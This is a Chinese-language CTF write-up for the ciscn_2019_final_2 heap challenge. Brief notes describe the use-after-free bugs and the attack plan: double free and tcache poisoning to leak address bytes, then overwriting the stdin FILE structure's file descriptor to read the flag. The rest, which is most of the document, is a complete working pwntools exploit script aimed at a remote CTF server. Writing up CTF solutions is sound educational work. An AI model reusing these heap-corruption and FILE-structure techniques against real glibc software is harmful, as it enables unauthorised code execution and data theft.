ciscn_2019_final_2
查看保护
在delete这里的话有两个uaf。还开了沙盒,说实话一开始真没什么思路,看了一下ha1vk的wp才知道漏了一init里面的一个非常重要的东西
这里读flag。flag的文件描述符被设置成了666
泄露数据的话也不是很多。几个字节
攻击思路:因为是2.27下,double free泄露出堆的低位地址,利用double free将size改为0x91,这个时候可以tcache attack泄露出main_arena的低位。
libc的这些低位都有了之后接下来就是一个特别关键的了。
libc的低位知道了,高位一样的。可以double free申请到任意libc地址,劫持_IO_2_1_stdin_结构体,修改文件描述符为666,然后flag就会被输入进来,接着print打印flag
double free和tcache attack 和io_file详细攻击手法见z1r0’s blog
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28206)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
menu = '> '
def add(index, num):
r.sendlineafter(menu, '1')
r.sendlineafter('>', str(index))
r.sendlineafter('your inode number:', str(num))
def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('>', str(index))
def row(index):
r.sendlineafter(menu, '3')
r.sendlineafter('>', str(index))
def leave(message):
r.sendlineafter(menu, '4')
r.sendlineafter('what do you want to say at last? ', message)
add(1,0x0ABCDEF)
delete(1)
for i in range(4):
add(2,0xCDEF)
delete(2)
add(1,0) #1
delete(2)
row(2)
r.recvuntil('your short type inode number :')
heap_low_2byte = int(r.recvuntil('\n',drop = True))
if heap_low_2byte < 0:
heap_low_2byte += 0x10000
add(2,heap_low_2byte - 0xA0)
add(2,0)
delete(1)
add(2,0x30 + 0x20 * 3 + 1)
for i in range(7):
delete(1)
add(2,0)
delete(1)
row(1)
r.recvuntil('your int type inode number :')
main_arena_low_4byte = int(r.recvuntil('\n',drop = True))
libc = ELF('./libc-2.27.so')
if main_arena_low_4byte < 0:
main_arena_low_4byte += 0x100000000
malloc_hook = libc.sym['__malloc_hook']
malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000) + (malloc_hook & 0xFFF)
stdin_filno = libc.sym['_IO_2_1_stdin_'] + 0x70
libc_base_low_4byte = malloc_hook_low_4byte - malloc_hook
stdin_filno_low_4byte = libc_base_low_4byte + stdin_filno
add(2,stdin_filno_low_4byte & 0xFFFF)
add(1,0)
add(1,666)
r.sendlineafter('which command?','4')
r.interactive()